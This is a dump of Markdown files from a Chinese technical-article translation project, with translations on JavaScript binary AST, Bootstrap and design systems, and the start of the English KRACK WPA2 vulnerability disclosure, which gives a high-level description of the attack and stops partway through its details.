开发者“的标签了。我们从创建第一个现代桌面 app，打包，分发，讲到售后服务还有更多。但愿我提到的一些陷阱和坑对你来说并没有那么可怕。你已经知道它们的前因后果了。你需要做的就是看一遍 API 文档。感谢那些可供我们任意使用的强大的 API，你可以从 web 开发者的技能树上获取更多有价值的东西。我希望可以在 NW.js 和 Electron 社区中看到你的身影。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/binary-ast-newsletter-1.md",
    "content": "\n  > * 原文地址：[Towards a JavaScript Binary AST](https://yoric.github.io/post/binary-ast-newsletter-1/)\n  > * 原文作者：[Yoric](https://yoric.github.io/about/)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/binary-ast-newsletter-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/binary-ast-newsletter-1.md)\n  > * 译者：[Cherry](https://github.com/sunshine940326)\n  > * 校对者：[lampui](https://github.com/lampui)、[jasonxia23](https://github.com/jasonxia23)\n\n# JavaScript 二进制的 AST\n\n在这个博客文章中，我想介绍一下 JavaScript 二进制 AST，我们希望在我们的项目中这将有助于使网页加载更快，以及其他一些好处。\n\n# 背景介绍\n\n多年来，JavaScript 已经从最慢的脚本语言之一，从老爷车发展为兰博基尼，不管是通过 Web 浏览器还是其他环境。它都能够快到可以运行桌面、服务器、移动甚至嵌入式应用程序。\n\n随着 JavaScript 的增长，应用程序的复杂程度和规模都越来越复杂。然而，二十年前，少数使用过 JavaScript 的网站也就加载几千字节的 JavaScript，许多网站和非 Web 应用程序现在需要在用户开始实际使用之前加载几兆的 JavaScript 代码。\n\n“几兆的 JavaScript 代码”听起来会很陌生，但是像 Steam 这样的本地应用程序只有 3.1 兆（纯二进制，没有资源，没有调试符号，没有动态依赖，在我的 Mac 上测量的结果）。Telegram 是 11 兆，Opera **更新程序** 是 5.8 兆。因为浏览器实际上是动态依赖构建的，所以我并没算上 Web 浏览器的体积，但我估计Firefox 和 Chrome 有 100 余兆的大小。\n\n当然，大型 JavaScript 源代码有几个成本，包括：\n\n- 重型网络传输；\n- 慢速启动。\n\n我们现在已经能在很短的时间内解析 JavaScript 代码，在以前一个大型的 web 应用例如 Facebook 在一台较好的电脑上通过 500ms-800ms 的时间编译完成。几乎没有理由相信随着时间的推移，JavaScript 应用程序会变得越来越小。\n\n因此，Mozilla 和 Facebook 的一个联合小组决定开始研究一种新的机制，我们相信通过二进制 AST 执行 JavaScript 可以极大地提高应用程序的速度。\n\n# 二进制 AST 简介\nJavaScript 二进制 AST 的思想很简单：我们可以通过发送**二进制**而不是发送文本源。\n\n让我来澄清一下：二进制 AST 源码相当于文本的源码。并**不是**一个新的语言，也不是 JavaScript 的子集或超集，它**是** JavaScript。它不是一个字节码，而是源代码的二进制表示形式。如果您愿意，这个二进制 AST 就是一种专为JavaScript而设计的，并为了解析速度而优化过的**源代码**。我们还在构建一个可以提供可读的格式良好的源代码解码器。目前，这种形式并没有保留注释，但是有一个保留注释的提议。\n\n生成一个二进制 AST 文件需要一个构建过程，我们希望这个过程越快越好。像 WebPack 或者 Babel 这样的构建工具会产生一个二进制的 AST 文件，因此，切换到二进制 AST 就像向构建传递一个标志一样简单，许多开发者已经开始使用。\n\n我想在我未来博客的文章中详细介绍一些二进制 AST 的标准和我们的现状，现在，我来简述一下，早期的实验暗示我们可以能得到很好的源压缩和可观的解析速度。\n\n我们已经研究二进制 AST 几个月了，现在项目已经作为 Stage 1 Proposal 被 ECMA TC-39 所接受。这是鼓舞人心的，但是还是需要一定的时间，你才能看到所有的 JavaScript 虚拟机和工具链的实现。\n\n# 对比一下\n\n## 和压缩格式对比\n\n大部分的 web 服务器在发送 JavaScript 的时候已经使用了例如 gzip 或者 brotli 这样的压缩工具将 JavaScript 压缩了。这大大减少了等待数据的时间。我们在这里做的是一种专为 JavaScript 设计的格式。的确，在早期的原型内部使用 gzip，相比许多其他的技巧，我们早期的原型有两个主要优势：\n\n- 它使得**解析**速度更快；\n- 根据早期的实验，我们大幅度击败了 gzip 或 brotli。请注意，我们的主要目的是使分析速度更快，因此在未来，如果我们需要在文件大小和解析速度中做选择，我们最有可能选择更快的解析。另外，使用的压缩格式的内部可能会改变。\n\n## 和压缩工具相比\nweb 开发者早期使用的用来减少 JS 文件大小的传统工具，例如 UglifyJS 和 Google’s Closure Compiler，这些工具称为压缩工具。\n\n压缩工具通常移除未使用的空格和注释、修改变量然后缩短名称，并使用一些其他转换来使程序更短。\n\n虽然这些工具确实有用，但它们有两个主要缺点：\n\n- 它们并不试图更快地进行解析 —— 事实上，我们已经目睹了在很多情况下，缩小意外使得解析更慢；\n- 它们有使 JavaScript 代码更难阅读的副作用，包括重命名不便于阅读的变量和函数，使用奇怪的特征将声明的变量打包，等等。\n\n相反，使用二进制 AST 转换：\n\n- 用于使解析更快；\n- 以易于解码的方式保留了源代码并容易阅读所有变量名等。\n\n当然，如果不希望保持源代码可读性的应用程序，混淆和二进制 AST 转换可以结合在一起。\n\n## 和 WebAssembly 相对比\n另一个令人兴奋的旨在提升确定的性能的 web 技术是 WebAssembly（wasm）。wasm 是为了使本地的应用被编译为一种格式，这种格式既可以有效地传输，也可以快速的解析，并通过 JavaScript 虚拟机以本地速度执行。\n\n然而，设计者的意图是将 wasm 受限于本地代码，所以如果不是本地代码，JavaScript 将不起作用。\n\n我不认为所有的 JavaScript 项目都可以通过 wasm 的编译。虽然这是可行的，但这将会是一项相当冒险的项目，因为这至少和开发一个新的 JavaScript 虚拟机的复杂度是相同的。同时还要确保仍然可以和 JavaScript 兼容（这是一个非常棘手的语言，并且每年至少生成一次说明文档或扩展），当然，如果生成的代码比今天的 JavaScript 虚拟机慢的话，这个任务就没用了，JavaScript 虚拟机现在越来越快了。并且如果编译之后的代码运行速度过慢或者文件太大，会使得启动非常慢（这也是我们在这里要解决的问题）或者使用编译的 JavaScript 库和（适用于浏览器应用程序的）DOM 导致无法工作。\n\n现在，对这方面的探索绝对是一个有趣的工作，所以如果有人想证明我们错了，无论如何，请这样做:)\n\n## 提高缓存\n当 JavaScript 代码被浏览器下载时，它被存储在浏览器的缓存中，以避免以后再下载它。Chromium 和 Firefox 近期更新了他们的浏览器使得不仅 JavaScript 源文件可以缓存，字节码也可以加入缓存。因此，可以很好地解决页面再次加载的解析时间问题。我不知道 Safari 和 Edge 在这方面的进展，所以他们可能也会有类似的技术。\n\n恭喜 Chromium 和 Firefox，这些技术都很棒！事实上，他们很好地提高重载页面的性能。这对于那些自从上次访问 JavaScript 代码但是没有更新的页面非常有效。\n\n我们试图用二进制 AST 解决的问题是不同的，虽然一些页面是我们已经访问过并且经常访问的，但是还有更多的页面是我们只访问一次，哪怕是这个页面近期已经更新过了但我们并没有再访问。特别是，越来越多的应用程序得到非常频繁的更新 —— 例如，Facebook 每天发送几次新的 JavaScript 代码，并且 Twitter、LinkedIn、Google Docs 等情况也会类似。另外，如果你是一个 JS 的开发人员然后发布一个 JavaScript 应用程序 —— 无论是 Web 应用程序还是其他程序，你总是希望你和用户之间的第一次接触尽可能平滑，这意味着你希望第一个加载（或更新后的第一次加载）也非常快。\n\n这些问题我们都可以使用 二进制 AST 解决。\n\n# 假设\n\n## 如果我们提高了缓存会怎样？\n\n额外的技术是要使得浏览器提前抓取和预编译 JS 代码和字节码。\n\n这些技术确实值得研究，也将有助于我们开发二进制 AST 脚本 —— 每一种技术都改进了另一种技术。特别是，当使用这种技术时，二进制AST的更好的资源效率将有助于限制资源浪费，同时也改善了这些技术根本不能使用的情况。\n\n## 如果我们使用一个现有的 JS 字节码会怎样？\n\n大多数（要不就是所有的）JavaScript 虚拟机已经使用一个内部的 JS 字节码。我似乎记得至少微软的虚拟机支持特殊的应用使用 JavaScript 字节。\n\n所以，你可以想象一下浏览器厂商将他们的字节码开源并且使所有的 JavaScript 应用使用字节码。这样的话，听起来不是一个好主意，有以下几个原因：\n\n第一：影响虚拟机的开发者。一旦你暴露自己的内部表示的 JavaScript，你注定要维护它。事实证明，JavaScript 字节码经常变化，以适应新版本的语言或新的优化。强迫虚拟机保持与旧版本的字节码的兼容性将是一个维护和/或性能灾难，所以我怀疑任何浏览器或 VM 供应商都愿意提交这个，除非在非常有限的设置中。\n\n第二：影响 JS 开发者。有几个字节码就意味着维护和运送几个二进制，可能有几十个，如果你想要优化后续版本的浏览器的字节码。更糟糕的是，这些字节码会有不同的语义，导致不同语义的 JS 代码编译。虽然这是可能的，毕竟，移动和本地的开发者都是这样做的，这就是在回退 JavaScript。\n\n## 我们有一个标准的 JS 字节码会怎样？\n\n所以，如果 JavaScript 虚拟机开发者决定想出一个新的字节码格式，可能作为一个扩展 WebAssembly，但专为 JavaScript 设计呢？\n\n要明确一点：我听到有人后悔没有开发一个这样的格式，但我不知道有人积极致力于此。\n\n没有人这样做的原因是设计和维护一种随时变化的语言的字节码是相当复杂的，对于一种像 JavaScript 这种已经很复杂的语言来说，将会更加复杂。最重要的是，持续编译 JavaScript 和对 JavaScript 进行字节很有可能会失败。这将会产生两个不兼容的 JavaScript 语言，对于 web 有时非常不利。\n\n此外，这样的字节码实际上对代码的大小和性能是否有帮助，还有待论证。\n\n## 我们只是让解析器更快会怎样？\n\n那岂不是很好，如果我们可以**只**让解析器更快？不幸的是，虽然 JS 解析器有了很大改进，但改进的速度是在逐步放缓。\n\n让我引用几个不能跳过或一直有效的步骤：\n\n- 处理外来编码，标记 Unicode 字节顺序和其他细节；\n- 找出 `/` 字符，是一个除法操作或者一个注释或正则表达式的开始；\n- 找出 `(` 字符，是表达式的开始，一个函数调用的参数列表，箭头函数的参数列表等；\n- 找出这个字符串（分别是字符串模板、数组、函数等）在哪停止，这取决于所有模棱两可的问题；\n- 找出 `let a` 声明是否和其他的 `let a`、`var a`、`const a` 声明冲突，实际上可能在稍后的代码出现；\n- 当遇到使用 `eval` 时，决定使用 4 个语义中的哪一个；\n- 确定哪些是真正的本地变量；\n- 等等\n\n理想情况下，虚拟机开发者希望能够并行解析，或延迟直到我们知道我们实际上使用的语法在进行解析。事实上，最近的虚拟机实施这些战略。遗憾的是，JavaScript 语法中大量的标记含糊性大大增加了并发性的机会，同时必须抛出对语法错误的限制，从而限制了懒惰解析的机会。遗憾的是，JavaScript 语法中大量模棱两可的标记大大增加了并发性的机会，同时必须抛出对语法错误的限制，从而限制了懒惰解析的机会。\n\n在任何情况下，虚拟机都需要进行昂贵的预分析步骤，可却往往适得其反，产生比常规的解析速度较慢，尤其是当应用在压缩编码时。\n\n实际上，二进制 AST 建议旨在克服文本源 JavaScript 的语法和语义所带来的性能限制。\n\n# 现在是什么情况？\n我们发布这篇博客因为我们想让你 —— Web 开发人员或者工具开发商必须在尽可能早的了解二进制的 AST。到目前为止，我们从两组收集的反馈是非常好的，我们期待着与社区密切合作。\n\n我们已经完成了一个早期的基准测试原型（因此不太实用），正在开发一个先进的原型，无论是对于工具还是 Firefox，但是我们还有几个月的时间去做一些有用的事情。\n\n我会在几周内发布更多的细节。\n\n阅读更多：\n\n- [缺陷跟踪在 Firefox 的早期实验](https://bugzilla.mozilla.org/show_bug.cgi?id=1349917).\n- [ECMA TC-39 提议](https://github.com/syg/ecmascript-binary-ast).\n- [工具](https://github.com/Yoric/binjs-ref) (这是一种先进的正在进行中的原型产品的版本，但它不执行一切从早期的原型)。\n\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n"
  },
  {
    "path": "TODO/bootstrap-considered-harmful.md",
    "content": "> * 原文地址：[Bootstrap considered harmful](https://hiddedevries.nl/en/blog/2016-08-09-bootstrap-considered-harmful)\n* 原文作者：[Hidde de Vries](https://hiddedevries.nl/en/about-me/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [MAYDAY1993](https://github.com/MAYDAY1993)\n* 校对者： [Kulbear](https://github.com/Kulbear)  [hpoenixf](https://github.com/hpoenixf) \n\n# 你考虑清楚了吗就决定用 Bootstrap ？\n\n近年来，在前端项目中， Bootstrap 已经成为了一个非常受欢迎的工具。 Bootstrap 的确有很多优点，然而，如果你的团队中恰好有一个专职的前端工程师。那我推荐你们不要使用 Bootstrap ，因为在某些情况下， Bootstrap 弊大于利。\n\n## Bootstrap 对什么有好处\n\n Bootstrap 带有栅格系统，也有针对很多组件的样式和脚本，包括表格，导航栏，进度条，分页，表单样式，模态框和提示框。在这篇文章中，谈论 ‘Bootstrap’，我的意思是包含所有组件的实践（与只选择包括一部分相反，例如， _只是_栅格）。\n对于需要把项目输出成标记语言，并且不想操心将结果样式化的后端开发工程师来讲， Bootstrap 是一个好的工具。如果因为某些原因，比如预算或其他因素，在一个团队里没有前端开发者或设计师， Bootstrap 适合用来填坑。\n\n对于设计师来讲， Bootstrap 也有一席之地：它是一个很有价值的工具，用来从设计软件快速移动到浏览器，而不需要过度担心前端代码策略。\n甚至对于主要和数据打交道很少关注 UI 和布局的前端开发者，让一个开发者关注于搭建应用本身， Bootstrap 在这一方面也很好。\n\n## 什么时候你最好别用它\n\n然而，如果你的团队里有一个前端开发工程师，使用 Bootstrap 会潜在地浪费他们宝贵的时间，并且将他们的注意力从解决实际的问题转移。 Bootstrap 恰恰做的是前端开发者擅长的，但是它以一种很普遍的方式来实现。你的网站或应用是很具体的，所以如果你用一个普遍的系统，它有可能不会起作用。这意味着你的代码将包含全部的可能性才有可能实现具体的需求。\n### 当你需要很多代码来覆盖 Bootstrap 的样式\n Bootstrap 是由 Twitter 的开发者开发来系统化他们网站应用的样式。当你的网站应用的样式和他们不一样，这意味着你不得不覆盖掉他们的样式来。\n大多数网站的样式并不像 Twitter 那样。因此，如果他们安装 Bootstrap ，他们会覆盖掉很多样式。\n在一些我参与的网站中，我发现多达十分之九的 Bootstrap 样式会被网站自己的样式覆盖掉。很坦率的讲，这是荒谬的。\n### 当它让简单的事情复杂化\n CSS 用来为网页增加一系列简单的在某些条件下会被代码覆盖的样式规则。当你的网站中有 Bootstrap 的样式，几乎网站内所有的东西都已经被一系列复杂的代码规则设置好了。任何例外都会超出这个框架所设置好的规则。而大多数网站所面临的问题正是它们的样式对于 Bootstrap 来说往往是例外。\n Bootstrap 的样式是复杂的：你会有一个带有 12 列的栅格系统，这 12 列能以你想要的任何方式组合使用，有特殊的类来基于用户的视图尺寸设置不同的偏移量和列结构。很多网站是简单的：在小屏幕上没有列，在更大的屏幕会有一到两列。\n### 当它产生了技术债务\n一个前端代码库依赖 Bootstrap 的时间越长，纠缠的越多，并且它包含了更多只是用来覆盖掉 Bootstrap 代码的规则。这常常导致代码库陷于巨大的技术债务，尤其当前端代码以经常需要手动更新的方式整合在后端的时候。\n### 当它引入可能不是你的应用的命名习惯\n命名很难，而且想出有意义的属于你的团队和应用的命名习惯很花时间。对于组件名使用合适的名词，不要和一些名词的缩写像 ’btn’ 的类名混淆。\n## 结论\n在开发网站的过程中 Bootstrap 和朋友在各种各样的阶段是有好处的。然而它们不是一个能使任何事都简单的魔法：相反，会有很多能够通过让前端开发者关注于亲自开发 UI 来避免的缺点。\n"
  },
  {
    "path": "TODO/boring-design-systems.md",
    "content": "> * 原文地址：[The Most Exciting Design Systems Are Boring](https://bigmedium.com/ideas/boring-design-systems.html)\n> * 原文作者：[JOSH CLARK](https://bigmedium.com/about/josh-clark.html)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Nicolas(Yifei) Li](https://github.com/yifili09)\n> * 校对者：[SareaYu](https://github.com/SareaYu), [yzgyyang](https://github.com/yzgyyang)\n\n# 最激动人心的视觉系统其实是最枯燥乏味的 #\n\n[![点击放大](https://bigmedium.com/bm.pix/normcore-lego-center.orig-250.jpg)](https://bigmedium.com/bm.pix/normcore-lego-center.jpg)\n\n让我们欢迎中性和舒适的视觉系统\n    \n我们正在构建另一个企业级视觉系统，并且我们极力把它变得枯燥。\n\n[Brad Frost](http://bradfrost.com), [Dan Mall](http://superfriend.ly) 和我刚刚开始帮助一家大型企业在他们众多的互联网产品上设计一个视觉系统。这家公司有着近 20 多年的数字产品的经验和大量的产品团队。长久以来，公司有关用户体验、用户界面和用于巩固技术的接口已经疏于同步。我们的目标是赋予产品团队一个一致性的设计语言和模式库，它可以解决常见的视觉、用户体验和技术问题。 \n\n和这个项目类似的情况来说，它会让你忍不住要抛弃现有的内容，然后使用最新的设计组件全新开始。『 如果我们准备建立标准，』(此时) 恶魔会在你身边耳语道，『 那么，让我们彻底摆脱所有的旧牵绊。让我们用一个有着全新外观、时髦交互方式和闪耀的技术框架彻底结束它吧。』（或者我最爱说的：『 让我们自己来设计。』）\n\n视觉系统工程师应该抵住新事物的诱惑，不要把系统设计的工作和重塑或者技术栈的检查相混淆。系统设计的模式应该很相似，甚至是枯燥乏味的。\n\n这份工作不是发明，而是策划。\n\n## 已经解决的问题和已解决的科学 ##\n\n设计系统包含了机构内的常用知识。他们为设计中的问题提供了已经过测试和验证的解决方案。当这些解决方案被统一的视觉语言和用户体验指导方案组合的时候，它们就代表了组织机构或者平台应该有的良好设计。\n\n对于和这个类似的项目来说，我们**一次一次地**和客户端合作伙伴一起来确定他们团队的设计问题直到他们满意。之后，确定和提出对这些问题的最优解决方案。\n\n问题越常见越好。设计系统应该优先考虑常见的东西。\n\n此时此刻，我们优先考虑数据入口、表单的验证和信息传递。这些并不是完美的设计体验，但是它们却是每个公司业务的重中之重，也是客户们花费时间最多的地方。这也是为什么枯燥乏味的事情却令人兴奋的地方：你如何对每天的设计更好的扩展且保证一致性？\n\n[![点击放大](https://bigmedium.com/bm.pix/lego-office.orig-250.jpg)](https://bigmedium.com/bm.pix/lego-office.jpg)\n\n痛点在哪里？我们正尝试从设计师和开发人员处定位这些重复的任务。\n    \n和其他产品一样，这个工作从很多用户调研开始。我们直面公司的程序员、设计师和产品经理们来识别重复的任务和发掘重复使用的方法。我们进行了对该公司网络产品的深度研究并尝试找到应对这些问题的最优解决方案。我们也对该公司不一致的视觉风格列出清单，并开始重新强化一个通用的视觉语言。\n\n在这个流程的最后，我们将会为该公司最**有利**的商业解决方案制作一个设计的参考。其中会包含很多干货而非那些看似有用的知识。它会很有用。\n\n## 创新性的设计来自于那些 『枯燥』 的设计 ##\n\n当设计系统很枯燥乏味的时候，它能释放设计师和开发人员做更多新的东西，去解决新的问题。**设计系统解决了乏味的事情，所以设计师和开发人员就不用操心了。**\n\n不必第 15 次的重复设计卡片的样式，因为它已经被实现了。产品团队应该把时间和精力放到如何创建新的体验、新的算法和新的商业逻辑上。\n\n[![点击放大](https://bigmedium.com/bm.pix/scientist.orig-250.jpg)](https://bigmedium.com/bm.pix/scientist.jpg)\n\n当设计系统消减了了那些枯燥问题的时候，那些设计师和开发人员们才能放手去从事新技术和高阶的问题。\n    \n这也意味着一个不错的设计系统比能提供很多按钮、颜色板和样例代码做的更多。这些组件都是常见的。奇妙的事情是伴随着他们出现在指导手册中。一个伟大的设计系统会对某些特定情况建议使用哪个设计模式（连同为什么和怎么做一起）。这将集合的用户接口组件推向了一个成熟的设计模式。设计师对每天公司日常的问题都有了现成的解决方案。\n\n『 任何时候考虑，比如 「 这里应该展示一个弹出窗口还是提示框？」这类问题都是浪费时间。』这是一位设计经理在这个最近项目上的调研过程中告诉我们的。\n\n## 更快，更快 ##\n\n所有这些都能带来速度上大的提升。[Big Medium 公司](https://bigmedium.com) 帮助一个重要的零售商搭建并且运行起了他们的设计系统，并且结果出人意料。『 相比之前的工作，我们的速度提升了 10 倍，』团队经理如实汇报道，『 也就是说，我们能仅用四分之一的员工完成 10 倍的高质量的工作。』\n\n[![点击放大](https://bigmedium.com/bm.pix/before-after-design-system.orig-250.png)](https://bigmedium.com/bm.pix/before-after-design-system.png)\n\n值得强调重申的是: 这样的速度和一致性并**不**意味着是千篇一律的产品。相反，在设计系统中解决枯燥乏味的工作意味着产品团队有更多创造发明的空间。事实上，这些产品就是系统未来模式的孵化器。\n\n## 在产品中发明创造 ##\n\n有些设计师和开发人员常常小心谨慎地对待设计系统或者模式库。尽管大部分人重视一致性的需求，但他们担心一个设计系统会太过教条和有限制性，这会阻碍创新。『 设计系统就好像公共交通工具: 对其他人来说，它是一个好主意。』一位百感交集的设计师如是说道。\n\n设计系统其实是鼓励产品团队创新，这应当是正确的。设计师和开发人员能依赖它创建、提高，也可以偶尔替换设计系统中的建议。\n\n它应该是一个良性循环。新的理念应该在新的产品上进行尝试和测试验证。当好想法被证明是可行的时候，它们应该被采纳并且加入进设计系统中，以便未来的产品能获益。这些最新的解决方案都会赫然变成新常态。\n\n**设计系统应该始终从当前的代码中提取它们的模式。** 在我们的设计系统中，我们采用以下两个方式:\n\n1. 从现存的应用程序中提取被证明可行的模式。\n2. 和设计程序一起创建试点应用程序，它能证明新的和必要的设计模式是可行的。\n\n这就好像健壮的框架代码是如何从持续发展的项目中显现的。Ruby on Rails 是从第一代的 Basecamp 中提取出的，只有核心概念**经过**产品的证明。设计模式和用户体验指导手册也同样来自于那些量产的项目。 \n\n设计系统，如核心框架，容不下未经测试的想法。请从量产接口中提取那些被证明过可行的想法。\n\n## 这是规则 ##\n\n[Dan](http://superfriend.ly) 喜欢使用星球大战 (当然) 作为一个对这个流程的暗喻。星球大战的世界充满了各种非官方的传奇故事、动漫图书以及爱好者们的科幻作品，当然它们都是基于电影原作的背景故事的。这个官方的故事是 [星球大战正典故事](https://en.wikipedia.org/wiki/Star_Wars_canon)，它是由 Lucas 电影精心编排制作和管理的。其余的是我们所知的 ”衍生的宇宙“，所有的这些角色、种族、星系、联盟和其他的那些都不被考虑在剧本中-除非他们进入正典。\n\n常常，星球大战正典维护者们会采纳 ”衍生的宇宙“ 中的元素纳入官方故事。它们也就变成了正典中的一部分。\n\n[![点击放大](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.orig-250.jpg)](https://bigmedium.com/bm.pix/star-wars-virtuous-cycle.jpg)\n\n当你能在设计系统（比如 正典故事）和应用程序（衍生的宇宙）之间创建一个良性的循环系统，每个人都会很乐意看到这样的结果。\n\n在 Dan 的暗喻中，你公司的设计系统就是你的设计正典。其他人公布、创建的应用程序和那些新的设计模式都基于它（比如，『 衍生的宇宙 』）。其中的有些设计模式将会是很有用出的，并且与你公司好的设计步调一致，它们也会变成正典。\n\n这就是设计系统和量产产品之间的良性循环。如果你是一位设计系统的经理，你将会成为这个故事中的 George Lucas 。当然你将需要更加谦虚。 \n\n## 谦卑的工作 ##\n\n成功的设计系统不断为许多设计师、开发人员和产品经理，当然也少不了终端用户服务。\n\n这种服务精神意味着设计系统的维护者们切勿浮想联翩，需要握紧手中的线。一个设计系统不是崇尚前沿科技的地方，而是汇集成功解决方案的地方。\n\n打造一个设计系统是为其他人的创新和猜想扫清道路。那就意味着枯燥乏味的内容从未如此令人兴奋。\n\n\n**你的机构是否在全力对付不一致性的接口和重复的设计工作？ Big Medium 帮助大型企业通过设计系统规划大型设计。需要工作讨论会、执行会议或者让我们参与设计，[请联系我们](https://bigmedium/com/hire)**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/breaking-wpa2-by-forcubg-nonce-reuse.md",
    "content": "\n> * 原文地址：[Key Reinstallation Attacks: Breaking WPA2 by forcing nonce reuse](https://www.krackattacks.com/?from=groupmessage&isappinstalled=0#faq)\n> * 原文作者：[krackattacks.com](https://www.krackattacks.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/breaking-wpa2-by-forcubg-nonce-reuse.md](https://github.com/xitu/gold-miner/blob/master/TODO/breaking-wpa2-by-forcubg-nonce-reuse.md)\n> * 译者：\n> * 校对者：\n\n# **K**ey **R**einstallation **A**tta**ck**s\n\n## Breaking WPA2 by forcing nonce reuse\n\n### Discovered by [Mathy Vanhoef](https://twitter.com/vanhoefm) of [imec-DistriNet](https://distrinet.cs.kuleuven.be/), KU Leuven\n\n## Introduction\n\nWe discovered serious weaknesses in WPA2, a protocol that secures all modern protected Wi-Fi networks. An attacker within range of a victim can exploit these weaknesses using <u>k</u>ey <u>r</u>einstallation <u>a</u>tta<u>ck</u>s (KRACKs). Concretely, attackers can use this novel attack technique to read information that was previously assumed to be safely encrypted. This can be abused to steal sensitive information such as credit card numbers, passwords, chat messages, emails, photos, and so on. **The attack works against all modern protected Wi-Fi networks**. Depending on the network configuration, it is also possible to inject and manipulate data. For example, an attacker might be able to inject ransomware or other malware into websites.\n\nThe weaknesses are in the Wi-Fi standard itself, and not in individual products or implementations. Therefore, any correct implementation of WPA2 is likely affected. To prevent the attack, users must update affected products as soon as security updates become available. Note that **if your device supports Wi-Fi, it is most likely affected**. During our initial research, we discovered ourselves that Android, Linux, Apple, Windows, OpenBSD, MediaTek, Linksys, and others, are all affected by some variant of the attacks. For more information about specific products, consult the [database of CERT/CC](https://www.kb.cert.org/vuls/byvendor?searchview&Query=FIELD+Reference=228519&SearchOrder=4), or contact your vendor.\n\nThe research behind the attack will be presented at the [Computer and Communications Security (CCS)](https://acmccs.github.io/session-F3/) conference, and at the [Black Hat Europe](https://www.blackhat.com/eu-17/briefings/schedule/#key-reinstallation-attacks-breaking-the-wpa2-protocol-8861) conference. Our [detailed research paper](#paper) can already be downloaded.\n\n## Demonstration\n\nAs a proof-of-concept we executed a key reinstallation attack against an Android smartphone. In this demonstration, the attacker is able to decrypt all data that the victim transmits. For an attacker this is easy to accomplish, because our key reinstallation attack is exceptionally devastating against Linux and Android 6.0 or higher. This is because **Android and Linux can be tricked into (re)installing an all-zero encryption key** ([see below for more info](#details-android)). When attacking other devices, it is harder to decrypt all packets, although a large number of packets can nevertheless be decrypted. In any case, the following demonstration highlights the type of information that an attacker can obtain when performing key reinstallation attacks against protected Wi-Fi networks:\n\n[Video-YouTube](https://www.youtube-nocookie.com/embed/Oh4WURZoR98)\n\nOur attack is not limited to recovering login credentials (i.e. e-mail addresses and passwords). In general, any data or information that the victim transmits can be decrypted. Additionally, depending on the device being used and the network setup, it is also possible to decrypt data sent towards the victim (e.g. the content of a website). Although websites or apps may use HTTPS as an additional layer of protection, we warn that this extra protection can (still) be bypassed in a worrying number of situations. For example, HTTPS was previously bypassed in [non-browser software](https://pdfs.semanticscholar.org/48fc/8f1aa0b6d1e4266b8017820ff8770fb67b6f.pdf), in [Apple's iOS and OS X](https://www.imperialviolet.org/2014/02/22/applebug.html), in [Android apps](https://arstechnica.com/information-technology/2015/04/android-apps-still-suffer-game-over-https-defects-7-months-later/), in [Android apps again](https://arxiv.org/ftp/arxiv/papers/1505/1505.00589.pdf), in [banking apps](http://blog.ioactive.com/2014/01/personal-banking-apps-leak-info-through.html), and even in [VPN apps](https://arstechnica.com/information-technology/2017/01/majority-of-android-vpns-cant-be-trusted-to-make-users-more-secure/).\n\n## Details\n\nOur main attack is against the 4-way handshake of the WPA2 protocol. This handshake is executed when a client wants to join a protected Wi-Fi network, and is used to confirm that both the client and access point possess the correct credentials (e.g. the pre-shared password of the network). At the same time, the 4-way handshake also negotiates a fresh encryption key that will be used to encrypt all subsequent traffic. Currently, all modern protected Wi-Fi networks use the 4-way handshake. This implies all these networks are affected by (some variant of) our attack. For instance, the attack works against personal and enterprise Wi-Fi networks, against the older WPA and the latest WPA2 standard, and even against networks that only use AES. **All our attacks against WPA2 use a novel technique called a key reinstallation attack (KRACK):**\n\n### Key reinstallation attacks: high level description\n\nIn a key reinstallation attack, the adversary tricks a victim into reinstalling an already-in-use key. This is **achieved by manipulating and replaying cryptographic handshake messages**. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number (i.e. nonce) and receive packet number (i.e. replay counter) are reset to their initial value. Essentially, to guarantee security, a key should only be installed and used once. Unfortunately, we found this is not guaranteed by the WPA2 protocol. By manipulating cryptographic handshakes, we can abuse this weakness in practice.\n\n### Key reinstallation attacks: concrete example against the 4-way handshake\n\nAs described in the [introduction of the research paper](#paper), the idea behind a key reinstallation attack can be summarized as follows. When a client joins a network, it executes the 4-way handshake to 